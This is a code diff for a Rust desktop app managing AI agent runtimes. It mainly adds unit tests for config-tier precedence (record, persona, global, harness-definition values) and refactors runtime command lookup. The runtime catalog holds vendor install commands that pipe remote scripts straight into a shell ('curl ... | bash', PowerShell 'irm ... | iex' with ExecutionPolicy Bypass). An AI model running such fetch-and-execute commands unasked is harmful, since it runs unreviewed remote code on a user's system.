surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let advanced_keys: Vec<&str> = surface.advanced.iter().map(|f| f.key.as_str()).collect(); assert!( @@ -575,21 +592,15 @@ fn extra_env_vars_appear_in_advanced_as_buzz_explicit() { #[test] fn extra_env_var_skipped_when_already_in_file_config_extra() { - // If a key is in both record.env_vars and file_config.extra, the config - // file entry wins (it was already added to advanced). The env var must - // not produce a second entry. - // - // We can't inject into file_config.extra directly in a unit test (it - // comes from disk), so we verify the dedup logic via the normalized-key - // path: GOOSE_THINKING_EFFORT is a normalized key and must not appear - // in advanced even if set in env_vars. + // If a key is normalized, it must not appear in advanced even if set + // in env_vars. let mut record = test_record(); record .env_vars .insert("GOOSE_THINKING_EFFORT".to_string(), "high".to_string()); let runtime = test_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let advanced_keys: Vec<&str> = surface.advanced.iter().map(|f| f.key.as_str()).collect(); assert!( @@ -598,7 +609,7 @@ fn extra_env_var_skipped_when_already_in_file_config_extra() { ); } -// ── buzz-agent normalized env-var field tests ─────────────────────────────── +// ── buzz-agent normalized env-var field tests ───────────────────────────────── // // buzz-agent uses env vars (not a config file) for max_output_tokens and // context_limit. build_numeric_env_field must surface these as BuzzExplicit @@ -634,6 +645,7 @@ fn buzz_agent_runtime() -> &'static KnownAcpRuntime { thinking_env_var: Some("BUZZ_AGENT_THINKING_EFFORT"), max_tokens_env_var: Some("BUZZ_AGENT_MAX_OUTPUT_TOKENS"), context_limit_env_var: Some("BUZZ_AGENT_MAX_CONTEXT_TOKENS"), + max_rounds_env_var: Some("BUZZ_AGENT_MAX_ROUNDS"), required_normalized_fields: &["model", "provider"], login_hint: None, auth_probe_args: None, @@ -649,7 +661,7 @@ fn buzz_agent_max_output_tokens_from_env_is_buzz_explicit() { ); let runtime = buzz_agent_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let field = surface.normalized.max_output_tokens.unwrap(); assert_eq!(field.value.as_deref(), Some("8192")); @@ -670,7 +682,7 @@ fn buzz_agent_context_limit_from_env_is_buzz_explicit() { ); let runtime = buzz_agent_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let field = surface.normalized.context_limit.unwrap(); assert_eq!(field.value.as_deref(), Some("100000")); @@ -688,7 +700,7 @@ fn buzz_agent_max_tokens_absent_when_no_env_var_or_file() { let record = test_record(); let runtime = buzz_agent_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); assert!( surface.normalized.max_output_tokens.is_none(), @@ -713,7 +725,7 @@ fn buzz_agent_max_tokens_env_var_not_double_surfaced_in_advanced() { ); let runtime = buzz_agent_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let advanced_keys: Vec<&str> = surface.advanced.iter().map(|f| f.key.as_str()).collect(); assert!( @@ -734,7 +746,7 @@ fn buzz_agent_thinking_effort_from_env_is_buzz_explicit() { .insert("BUZZ_AGENT_THINKING_EFFORT".to_string(), "high".to_string()); let runtime = buzz_agent_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let field = surface.normalized.thinking_effort.unwrap(); assert_eq!(field.value.as_deref(), Some("high")); @@ -755,7 +767,7 @@ fn buzz_agent_thinking_effort_env_var_not_double_surfaced_in_advanced() { ); let runtime = buzz_agent_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let advanced_keys: Vec<&str> = surface.advanced.iter().map(|f| f.key.as_str()).collect(); assert!( @@ -764,10 +776,20 @@ fn buzz_agent_thinking_effort_env_var_not_double_surfaced_in_advanced() { ); } +// ── provider builder unit tests ─────────────────────────────────────────────── + #[test] fn missing_required_provider_still_returns_dropdown_field() { - let provider = build_provider_field(&None, &None, Some("GOOSE_PROVIDER"), false, true) - .expect("required provider field should be surfaced even when empty"); + let record = test_record(); + let provider = build_provider_field( + &record, + &None, + Some("GOOSE_PROVIDER"), + false, + true, + &no_tiers(), + ) + .expect("required provider field should be surfaced even when empty"); assert_eq!(provider.value, None); assert_eq!(provider.origin, ConfigOrigin::EnvVar); @@ -776,5 +798,156 @@ fn missing_required_provider_still_returns_dropdown_field() { #[test] fn missing_optional_provider_stays_hidden() { - assert!(build_provider_field(&None, &None, Some("GOOSE_PROVIDER"), false, false).is_none()); + let record = test_record(); + assert!(build_provider_field( + &record, + &None, + Some("GOOSE_PROVIDER"), + false, + false, + &no_tiers() + ) + .is_none()); +} + +// ── thinking_effort persona/global tier tests (AC-1..5) ────────────────────── +// +// The plan's acceptance criteria for effort tier resolution. +// Tier ordering: record env > ACP > persona env > global env > config file. + +fn buzz_agent_rt() -> &'static KnownAcpRuntime { + crate::managed_agents::discovery::known_acp_runtime_exact("buzz-agent") + .expect("buzz-agent must be in catalog") +} + +/// AC-1: no record effort, global env has effort → GlobalDefault. +/// Real-world case: global-agent-config has BUZZ_AGENT_THINKING_EFFORT=high, +/// per-agent record has no env_vars → effort must surface with GlobalDefault origin. +#[test] +fn global_effort_surfaces_as_global_default_when_record_has_none() { + let record = test_record(); + let runtime = buzz_agent_rt(); + let tiers = global_env_tiers("BUZZ_AGENT_THINKING_EFFORT", "high"); + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let effort = surface + .normalized + .thinking_effort + .expect("effort must surface from global tier"); + assert_eq!(effort.value.as_deref(), Some("high")); + assert_eq!(effort.origin, ConfigOrigin::GlobalDefault); +} + +/// AC-2: persona env has effort, global also has effort → PersonaDefault wins, shadows global. +#[test] +fn persona_effort_shadows_global_and_tags_persona_default() { + let record = test_record(); + let runtime = buzz_agent_rt(); + let tiers = persona_and_global_env_tiers("BUZZ_AGENT_THINKING_EFFORT", "medium", "high"); + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let effort = surface + .normalized + .thinking_effort + .expect("effort must surface from persona tier"); + assert_eq!(effort.value.as_deref(), Some("medium")); + assert_eq!(effort.origin, ConfigOrigin::PersonaDefault); + // global is the overridden baseline + assert_eq!(effort.overridden_value.as_deref(), Some("high")); + assert_eq!(effort.overridden_origin, Some(ConfigOrigin::GlobalDefault)); } + +/// AC-3: record-level effort wins over persona and global, stays BuzzExplicit. +#[test] +fn record_effort_outranks_persona_and_global_keeps_buzz_explicit() { + let mut record = test_record(); + record.env_vars.insert( + "BUZZ_AGENT_THINKING_EFFORT".to_string(), + "xhigh".to_string(), + ); + let runtime = buzz_agent_rt(); + let tiers = persona_and_global_env_tiers("BUZZ_AGENT_THINKING_EFFORT", "medium", "high"); + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let effort = surface + .normalized + .thinking_effort + .expect("effort must surface from record tier"); + assert_eq!(effort.value.as_deref(), Some("xhigh")); + assert_eq!(effort.origin, ConfigOrigin::BuzzExplicit); +} + +/// AC-4: no effort from any tier → thinking_effort field is absent. +#[test] +fn no_effort_anywhere_yields_no_thinking_effort_field() { + let record = test_record(); + let runtime = buzz_agent_rt(); + + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); + + assert!( + surface.normalized.thinking_effort.is_none(), + "thinking_effort must be None when no tier has a value" + ); +} + +/// AC-5 (conflicting-ACP): inherited effort set (global=high) + live ACP effort=low +/// → ACP wins as primary (AcpConfigOption), global is the overridden secondary. +#[test] +fn acp_effort_wins_over_inherited_global_effort_as_secondary() { + let record = test_record(); + let runtime = buzz_agent_rt(); + let cache = SessionConfigCache { + config_options: vec![AcpConfigOptionEntry { + config_id: "effort".to_string(), + category: Some("effort".to_string()), + display_name: Some("Effort".to_string()), + current_value: Some("low".to_string()), + options: vec![], + }], + available_modes: vec![], + available_models: vec![], + current_model: None, + model_overridden: false, + goose_native_config: None, + captured_at: "".to_string(), + }; + let tiers = global_env_tiers("BUZZ_AGENT_THINKING_EFFORT", "high"); + + let surface = read_config_surface(&record, Some(runtime), Some(&cache), &tiers); + + let effort = surface + .normalized + .thinking_effort + .expect("effort must surface from ACP tier"); + // Live ACP value wins. + assert_eq!(effort.value.as_deref(), Some("low")); + assert_eq!(effort.origin, ConfigOrigin::AcpConfigOption); + // Global is surfaced as the overridden baseline. + assert_eq!(effort.overridden_value.as_deref(), Some("high")); + assert_eq!(effort.overridden_origin, Some(ConfigOrigin::GlobalDefault)); +} + +// ── Numerics inheritance tests ──────────────────────────────────────────────── +// +// max_output_tokens and context_limit gain persona/global tiers. + +#[test] +fn numeric_max_tokens_inherits_from_global_env() { + let record = test_record(); + let runtime = buzz_agent_runtime(); + let tiers = global_env_tiers("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "16384"); + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let field = surface.normalized.max_output_tokens.unwrap(); + assert_eq!(field.value.as_deref(), Some("16384")); + assert_eq!(field.origin, ConfigOrigin::GlobalDefault); +} + +// ── Extended tests (split file to respect line-count ratchet) ──────────────── +#[path = "reader_tests_ext.rs"] +mod ext; diff --git a/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests_ext.rs b/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests_ext.rs new file mode 100644 index 0000000000..8613124f25 --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests_ext.rs @@ -0,0 +1,258 @@ +//! Additional tests for `config_bridge/reader.rs` — split out to keep +//! `reader_tests.rs` under the 1000-line file-size ratchet. +//! +//! Included as `mod ext` inside `reader_tests.rs`, so `use super::*` gives +//! access to all helpers and types from that module. + +use super::*; + +// ── Numerics inheritance tests ──────────────────────────────────────────────── +// +// max_output_tokens and context_limit gain persona/global tiers. + +#[test] +fn numeric_context_limit_inherits_from_persona_env() { + let record = test_record(); + let runtime = buzz_agent_runtime(); + let tiers = persona_env_tiers("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"); + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let field = surface.normalized.context_limit.unwrap(); + assert_eq!(field.value.as_deref(), Some("200000")); + assert_eq!(field.origin, ConfigOrigin::PersonaDefault); +} + +#[test] +fn record_max_tokens_overrides_global_env_with_secondary() { + let mut record = test_record(); + record.env_vars.insert( + "BUZZ_AGENT_MAX_OUTPUT_TOKENS".to_string(), + "8192".to_string(), + ); + let runtime = buzz_agent_runtime(); + let tiers = global_env_tiers("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "16384"); + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let field = surface.normalized.max_output_tokens.unwrap(); + assert_eq!(field.value.as_deref(), Some("8192")); + assert_eq!(field.origin, ConfigOrigin::BuzzExplicit); + // Global value is the overridden secondary. + assert_eq!(field.overridden_value.as_deref(), Some("16384")); + assert_eq!(field.overridden_origin, Some(ConfigOrigin::GlobalDefault)); +} + +// ── Env-vs-structured collision tests (plan v3, Phase 2) ───────────────────── + +/// Collision test 1: persona structured prompt + global env BUZZ_ACP_SYSTEM_PROMPT +/// → global env wins (env block sits entirely above structured). +#[test] +fn global_env_prompt_wins_over_persona_structured_prompt() { + let record = test_record(); + let runtime = test_runtime(); + let tiers = InheritedConfigTiers { + global_env: { + let mut m = BTreeMap::new(); + m.insert( + "BUZZ_ACP_SYSTEM_PROMPT".to_string(), + "global-env-prompt".to_string(), + ); + m + }, + persona_prompt: Some("persona-structured-prompt".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let prompt = surface.normalized.system_prompt.unwrap(); + assert_eq!(prompt.value.as_deref(), Some("global-env-prompt")); + assert_eq!(prompt.origin, ConfigOrigin::GlobalDefault); +} + +/// Collision test 2: structured persona/record model + higher user-env value at +/// the runtime's model key → env value wins. +#[test] +fn persona_env_model_wins_over_persona_structured_model() { + let record = test_record(); // no record.model + let runtime = test_runtime(); // GOOSE_MODEL + let tiers = InheritedConfigTiers { + persona_env: { + let mut m = BTreeMap::new(); + m.insert("GOOSE_MODEL".to_string(), "env-model".to_string()); + m + }, + persona_model: Some("struct-persona-model".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let model = surface.normalized.model.unwrap(); + // persona env outranks persona struct because env candidates precede struct + assert_eq!(model.value.as_deref(), Some("env-model")); + assert_eq!(model.origin, ConfigOrigin::PersonaDefault); +} + +/// Collision test 3: no env representation → structured persona/record/global +/// fallback and provenance remain intact. +#[test] +fn structured_fallback_intact_when_no_env_representation() { + let record = test_record(); // no record.model, no env vars + let runtime = test_runtime(); + let tiers = InheritedConfigTiers { + persona_model: Some("struct-persona-model".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let model = surface.normalized.model.unwrap(); + assert_eq!(model.value.as_deref(), Some("struct-persona-model")); + assert_eq!(model.origin, ConfigOrigin::PersonaDefault); +} + +// ── Post-sanitization fallthrough test ─────────────────────────────────────── +// +// Sanitization itself happens at the command boundary in `build_inherited_tiers` +// (a value with a NUL byte or an oversize value is dropped from the tier) and is +// pinned by the tests in `commands/agent_config_tests.rs`. The reader only ever +// sees the sanitized result, so what it must guarantee is the downstream half: +// a key stripped from one tier falls through to the next. + +/// A key absent from the global env tier — the shape the reader sees after the +/// command boundary strips an invalid value — falls through to the persona tier. +#[test] +fn post_sanitization_empty_global_env_falls_through_to_persona_tier() { + let record = test_record(); + let runtime = buzz_agent_rt(); + // No global env (stripped); persona provides the valid fallback. + let tiers = persona_env_tiers("BUZZ_AGENT_THINKING_EFFORT", "medium"); + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + // Persona value surfaces instead of the stripped global value. + let effort = surface.normalized.thinking_effort.unwrap(); + assert_eq!(effort.value.as_deref(), Some("medium")); + assert_eq!(effort.origin, ConfigOrigin::PersonaDefault); +} + +// ── Pass-3 prompt collision test ───────────────────────────────────────────── +// +// From Thufir's pass-3 verdict MINOR clarification (promoted to required): +// definition-less record with both structured and env prompt — env wins. + +/// Pass-3 clarification: record.system_prompt = A + record env +/// BUZZ_ACP_SYSTEM_PROMPT = B → B wins as BuzzExplicit. +/// The env block sits above the struct block per v3 candidate-preparation +/// contract; current reader semantics (struct before env) would be wrong. +#[test] +fn record_env_prompt_wins_over_record_struct_prompt_as_buzz_explicit() { + let mut record = test_record(); + record.system_prompt = Some("struct-prompt-A".to_string()); + record.env_vars.insert( + "BUZZ_ACP_SYSTEM_PROMPT".to_string(), + "env-prompt-B".to_string(), + ); + let runtime = test_runtime(); + + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); + + let prompt = surface.normalized.system_prompt.unwrap(); + assert_eq!(prompt.value.as_deref(), Some("env-prompt-B")); + assert_eq!(prompt.origin, ConfigOrigin::BuzzExplicit); + // Struct prompt is the secondary. + assert_eq!(prompt.overridden_value.as_deref(), Some("struct-prompt-A")); + assert_eq!(prompt.overridden_origin, Some(ConfigOrigin::BuzzExplicit)); +} + +// ── Definition env tier tests (Layer 2b) ───────────────────────────────────── +// +// The harness definition's `env` block sits below global env and above +// structured values in spawn's precedence (Layer 2b). These tests exercise +// the reader's mapping of that tier to `HarnessDefault` origin. + +/// Definition env wins over structured persona model when no user-env or +/// global-env candidate is present. +#[test] +fn definition_env_beats_structured_persona_model() { + let record = test_record(); // no record.model, no record.env_vars + let runtime = test_runtime(); // model_env_var = "GOOSE_MODEL" + let tiers = InheritedConfigTiers { + definition_env: { + let mut m = BTreeMap::new(); + m.insert("GOOSE_MODEL".to_string(), "harness-model".to_string()); + m + }, + persona_model: Some("persona-struct-model".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let model = surface.normalized.model.unwrap(); + assert_eq!(model.value.as_deref(), Some("harness-model")); + assert_eq!(model.origin, ConfigOrigin::HarnessDefault); + // Structured persona model is the overridden secondary. + assert_eq!( + model.overridden_value.as_deref(), + Some("persona-struct-model") + ); + assert_eq!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault)); +} + +/// Global env beats definition env — user-settable tiers always win over the +/// harness author's defaults. +#[test] +fn global_env_beats_definition_env() { + let record = test_record(); + let runtime = test_runtime(); // model_env_var = "GOOSE_MODEL" + let tiers = InheritedConfigTiers { + global_env: { + let mut m = BTreeMap::new(); + m.insert("GOOSE_MODEL".to_string(), "global-model".to_string()); + m + }, + definition_env: { + let mut m = BTreeMap::new(); + m.insert("GOOSE_MODEL".to_string(), "harness-model".to_string()); + m + }, + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let model = surface.normalized.model.unwrap(); + assert_eq!(model.value.as_deref(), Some("global-model")); + assert_eq!(model.origin, ConfigOrigin::GlobalDefault); + // Harness default is the overridden secondary. + assert_eq!(model.overridden_value.as_deref(), Some("harness-model")); + assert_eq!(model.overridden_origin, Some(ConfigOrigin::HarnessDefault)); +} + +/// A reserved key in the definition env is stripped by sanitization and must +/// not reach the reader. This test exercises the reader's contract (a key +/// absent from the tier falls through) — sanitization itself is pinned in +/// the `agent_config_tests.rs` constructor tests. +#[test] +fn reserved_key_absent_from_definition_env_falls_through() { + let record = test_record(); + let runtime = test_runtime(); // model_env_var = "GOOSE_MODEL" + // definition_env contains only an unrelated key — the env map here is what + // the command boundary would produce after stripping a reserved key; the + // reader must fall through to the next tier (persona structured model). + let tiers = InheritedConfigTiers { + definition_env: BTreeMap::new(), // stripped — nothing survives + persona_model: Some("persona-struct-model".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let model = surface.normalized.model.unwrap(); + // Falls through to persona structured model. + assert_eq!(model.value.as_deref(), Some("persona-struct-model")); + assert_eq!(model.origin, ConfigOrigin::PersonaDefault); +} diff --git a/desktop/src-tauri/src/managed_agents/config_bridge/types.rs b/desktop/src-tauri/src/managed_agents/config_bridge/types.rs index 15ccb718e7..6ca2592538 100644 --- a/desktop/src-tauri/src/managed_agents/config_bridge/types.rs +++ b/desktop/src-tauri/src/managed_agents/config_bridge/types.rs @@ -2,6 +2,41 @@ use std::collections::BTreeMap; use serde::{Deserialize, Serialize}; +/// Sanitized inherited config tiers passed to the reader. +/// +/// Built at the `agent_config` command boundary with spawn-equivalent +/// sanitization: reserved, malformed, NUL-value, and oversize-value env keys +/// are stripped (matching `merged_user_env`). Structured fields are +/// normalized: blank/whitespace-only values collapse to `None`. +/// +/// Orphaned persona links (persona_id references a missing persona) produce +/// an empty persona env tier and `None` for all structured persona fields — +/// the panel still renders from record/global. This diverges deliberately from +/// spawn's `OrphanedInstance` refusal, which is a spawn-safety property the +/// display surface does not need to enforce. +#[derive(Debug, Clone, Default)] +pub struct InheritedConfigTiers { + /// Sanitized env vars from the linked persona definition. + pub persona_env: BTreeMap, + /// Sanitized env vars from the global agent config. + pub global_env: BTreeMap, + /// Sanitized env vars from the resolved harness definition (`HarnessDefinition::env`). + /// Sits below global env and above structured values, matching spawn Layer 2b. + /// Empty for preset harnesses (all shipped presets have `env: {}`); only + /// user-authored custom harness JSONs with a non-empty `env` block contribute here. + pub definition_env: BTreeMap, + /// Structured model from the linked persona (non-blank only). + pub persona_model: Option, + /// Structured provider from the linked persona (non-blank only). + pub persona_provider: Option, + /// Structured system_prompt from the linked persona (non-blank only). + pub persona_prompt: Option, + /// Structured model from global config (non-blank only). + pub global_model: Option, + /// Structured provider from global config (non-blank only). + pub global_provider: Option, +} + /// Where a config value came from — determines precedence and UI annotations. #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] #[serde(rename_all = "camelCase")] @@ -17,14 +52,12 @@ pub enum ConfigOrigin { /// Read from harness config file on disk (tier 2b, lowest precedence). ConfigFile, /// Value inherited from persona defaults. - /// Populated by the `get_agent_config_surface` call site: persona values are - /// resolved before calling the reader, then the surface is post-processed to - /// re-tag injected fields from `BuzzExplicit` to `PersonaDefault`. + /// Populated when a persona's env var or structured field wins for this + /// field in the reader's candidate resolution. PersonaDefault, /// Value inherited from global agent configuration defaults. /// The lowest user-settable layer — active when neither the agent record nor - /// the linked persona specifies a value. Re-tagged from `BuzzExplicit` by the - /// `resolve_config_surface` call site, analogously to `PersonaDefault`. + /// the linked persona specifies a value. GlobalDefault, /// Live runtime model override applied via the ModelPicker (Phase 3). /// The ACP session's current model diverges from the persona model because @@ -35,6 +68,11 @@ pub enum ConfigOrigin { /// env var. E.g. Claude Code only supports Anthropic as a provider; the /// "locked" display is synthesized by the config bridge, not read from disk. HarnessConstraint, + /// Value comes from a custom harness definition's `env` block. + /// Sits below global env and above structured persona/global values, + /// matching spawn Layer 2b. Only reachable for user-authored custom harness + /// JSONs with a non-empty `env` block; preset harnesses always have empty env. + HarnessDefault, } /// How a config field can be written back to the runtime. diff --git a/desktop/src-tauri/src/managed_agents/custom_harnesses.rs b/desktop/src-tauri/src/managed_agents/custom_harnesses.rs index e6bc09496c..ba0448beaf 100644 --- a/desktop/src-tauri/src/managed_agents/custom_harnesses.rs +++ b/desktop/src-tauri/src/managed_agents/custom_harnesses.rs @@ -268,7 +268,7 @@ pub(crate) fn registry_test_lock() -> std::sync::MutexGuard<'static, ()> { /// Thread-safe registry of non-builtin (preset + custom) harness definitions, /// populated on every `discover_acp_runtimes_from` call and queried at spawn time. -fn loaded_harness_registry() -> &'static RwLock>> { +pub(super) fn loaded_harness_registry() -> &'static RwLock>> { use std::sync::OnceLock; static REGISTRY: OnceLock>>> = OnceLock::new(); REGISTRY.get_or_init(|| RwLock::new(Vec::new())) diff --git a/desktop/src-tauri/src/managed_agents/discovery.rs b/desktop/src-tauri/src/managed_agents/discovery.rs index 8d1b8a5013..bc0e3a6cda 100644 --- a/desktop/src-tauri/src/managed_agents/discovery.rs +++ b/desktop/src-tauri/src/managed_agents/discovery.rs @@ -9,12 +9,15 @@ use crate::managed_agents::{ AcpAvailabilityStatus, AcpRuntimeCatalogEntry, AuthStatus, CommandAvailabilityInfo, HarnessSource, }; - mod presets; mod runtime_metadata; - +#[macro_use] +mod windows_install; +pub(crate) use presets::{ + canonical_harness_command, command_for_runtime_id, preset_harness_definitions, + preset_harness_ids, +}; use presets::{preset_catalog_entry, PRESET_HARNESSES}; -pub(crate) use presets::{preset_harness_definitions, preset_harness_ids}; pub(crate) use runtime_metadata::KnownAcpRuntime; const GOOSE_AVATAR_URL: &str = "https://goose-docs.ai/img/logo_dark.png"; @@ -85,7 +88,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[ cli_install_commands: &["curl -fsSL https://github.com/aaif-goose/goose/releases/download/stable/download_cli.sh | CONFIGURE=false bash"], // Goose's stable release currently publishes only the Unix installer; // its official Windows instructions intentionally point at this main-branch script. - cli_install_commands_windows: &["powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"$env:CONFIGURE='false'; irm https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 | iex\""], + cli_install_commands_windows: &[windows_install_command!("goose", "https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1", "$env:CONFIGURE='false'; ")], adapter_install_commands: &[], cli_install_instructions_url: "https://goose-docs.ai/docs/getting-started/installation/", adapter_install_instructions_url: "", @@ -103,6 +106,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[ thinking_env_var: Some("GOOSE_THINKING_EFFORT"), max_tokens_env_var: Some("GOOSE_MAX_TOKENS"), context_limit_env_var: Some("GOOSE_CONTEXT_LIMIT"), + max_rounds_env_var: None, required_normalized_fields: &["model", "provider"], login_hint: None, auth_probe_args: None, @@ -117,7 +121,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[ mcp_hooks: false, underlying_cli: Some("claude"), cli_install_commands: &["curl -fsSL https://claude.ai/install.sh | bash"], - cli_install_commands_windows: &["powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"irm https://claude.ai/install.ps1 | iex\""], + cli_install_commands_windows: &[windows_install_command!("claude", "https://claude.ai/install.ps1")], adapter_install_commands: &["npm install -g @agentclientprotocol/claude-agent-acp"], cli_install_instructions_url: "https://code.claude.com/docs/en/getting-started", adapter_install_instructions_url: "https://github.com/agentclientprotocol/claude-agent-acp", @@ -135,6 +139,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[ thinking_env_var: None, max_tokens_env_var: None, context_limit_env_var: None, + max_rounds_env_var: None, required_normalized_fields: &[], login_hint: Some("Run the Claude CLI to complete authentication."), auth_probe_args: Some(&["claude", "auth", "status"]), @@ -149,7 +154,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[ mcp_hooks: false, underlying_cli: Some("codex"), cli_install_commands: &["curl -fsSL https://chatgpt.com/codex/install.sh | sh"], - cli_install_commands_windows: &["powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"irm https://chatgpt.com/codex/install.ps1 | iex\""], + cli_install_commands_windows: &[windows_install_command!("codex", "https://chatgpt.com/codex/install.ps1")], adapter_install_commands: &["npm install -g @agentclientprotocol/codex-acp"], cli_install_instructions_url: "https://developers.openai.com/codex/cli/", adapter_install_instructions_url: "https://github.com/agentclientprotocol/codex-acp", @@ -167,6 +172,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[ thinking_env_var: None, max_tokens_env_var: None, context_limit_env_var: None, + max_rounds_env_var: None, required_normalized_fields: &[], login_hint: Some("Run `codex login` to authenticate."), // Verified: `codex login status` exits 0 when logged in, non-zero otherwise. @@ -200,6 +206,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[ thinking_env_var: Some("BUZZ_AGENT_THINKING_EFFORT"), max_tokens_env_var: Some("BUZZ_AGENT_MAX_OUTPUT_TOKENS"), context_limit_env_var: Some("BUZZ_AGENT_MAX_CONTEXT_TOKENS"), + max_rounds_env_var: Some("BUZZ_AGENT_MAX_ROUNDS"), required_normalized_fields: &["model", "provider"], login_hint: None, auth_probe_args: None, @@ -229,7 +236,7 @@ fn executable_basename(command: &str) -> String { } } -fn normalize_command_identity(command: &str) -> String { +pub(crate) fn normalize_command_identity(command: &str) -> String { let normalized = command.trim().replace('\\', "/"); let basename = normalized.rsplit('/').next().unwrap_or(normalized.as_str()); let lower = basename @@ -278,11 +285,8 @@ pub(crate) fn known_acp_runtime_exact(id: &str) -> Option<&'static KnownAcpRunti /// The agent command a freshly-created agent defaults to when the create /// request supplies none. Resolves the bundled `buzz-agent` from the catalog so /// the default cannot drift from the provider definition. Falls back to the id -/// if the catalog entry is missing. -/// -/// The previous default was the bare global `goose`, which is not on PATH on a -/// stock Windows install: every worker failed with `program not found`. The -/// bundled `buzz-agent` ships with the app and resolves on every platform. +/// if the catalog entry is missing. (Previous default was bare `goose`, which +/// is not on PATH on a stock Windows install; buzz-agent ships with the app.) pub fn default_agent_command() -> String { known_acp_runtime_exact("buzz-agent") .and_then(|p| p.commands.first().copied()) @@ -294,9 +298,10 @@ pub fn default_agent_command() -> String { /// /// Resolution order: /// 1. explicit override (non-empty) — a deliberate per-instance pin; -/// 2. the record's own `runtime` id mapped to its primary command — -/// records materialize their runtime at create/migration time; -/// checks both static builtins AND the loaded preset/custom registry; +/// 2. the record's own `runtime` id mapped to its primary command via the +/// authoritative three-tier lookup (static builtins → static preset list +/// → loaded registry) — preset harnesses (e.g. openclaw) resolve +/// correctly even with a cold registry; /// 3. legacy fallback: the linked persona's `runtime` (records created /// before the unified model carry `persona_id` but no `runtime`); /// 4. `default_agent_command()`. @@ -314,15 +319,11 @@ pub fn record_agent_command( } if let Some(id) = record.runtime.as_deref() { - // Check static builtins first. - if let Some(command) = known_acp_runtime_exact(id).and_then(|r| r.commands.first().copied()) - { - return command.to_string(); - } - // Fall back to loaded registry for preset/custom harnesses. - if let Some(def) = crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(id) - { - return def.command.clone(); + // Three-tier lookup: static builtins → static presets → loaded registry. + // Using the shared resolver ensures preset harnesses (e.g. openclaw) + // resolve correctly even without a warm registry. + if let Some(cmd) = presets::command_for_runtime_id(id) { + return cmd; } } @@ -335,8 +336,9 @@ pub fn record_agent_command( /// /// Resolution order: /// 1. explicit override (non-empty) — a deliberate per-instance pin; -/// 2. the linked persona's `runtime` id mapped to its primary command -/// (checks builtins then loaded preset/custom registry); +/// 2. the linked persona's `runtime` id mapped to its primary command via +/// the authoritative three-tier lookup (static builtins → static preset +/// list → loaded registry); /// 3. `default_agent_command()` — no persona/runtime, or persona deleted. pub fn effective_agent_command( persona_id: Option<&str>, @@ -355,15 +357,9 @@ pub fn effective_agent_command( .and_then(|persona| persona.runtime.as_deref()); if let Some(id) = runtime_id { - // Check static builtins first. - if let Some(command) = known_acp_runtime_exact(id).and_then(|r| r.commands.first().copied()) - { - return command.to_string(); - } - // Check loaded preset/custom registry. - if let Some(def) = crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(id) - { - return def.command.clone(); + // Three-tier lookup: static builtins → static presets → loaded registry. + if let Some(cmd) = presets::command_for_runtime_id(id) { + return cmd; } } @@ -375,10 +371,8 @@ pub use overrides::{apply_agent_command_update, create_time_agent_command_overri /// Prefix of the typed dangling-harness error produced by /// `try_record_agent_command` / `resolve_effective_harness_descriptor`. -/// -/// This sentinel is an internal Rust contract: user-facing surfaces must -/// convert it to a sentence via [`user_facing_harness_error`] (spawn) or to -/// the missing id via [`dangling_harness_id`] (summary) — never show it raw. +/// Internal Rust contract: surfaces must convert it via [`user_facing_harness_error`] or +/// [`dangling_harness_id`] — never show it raw. 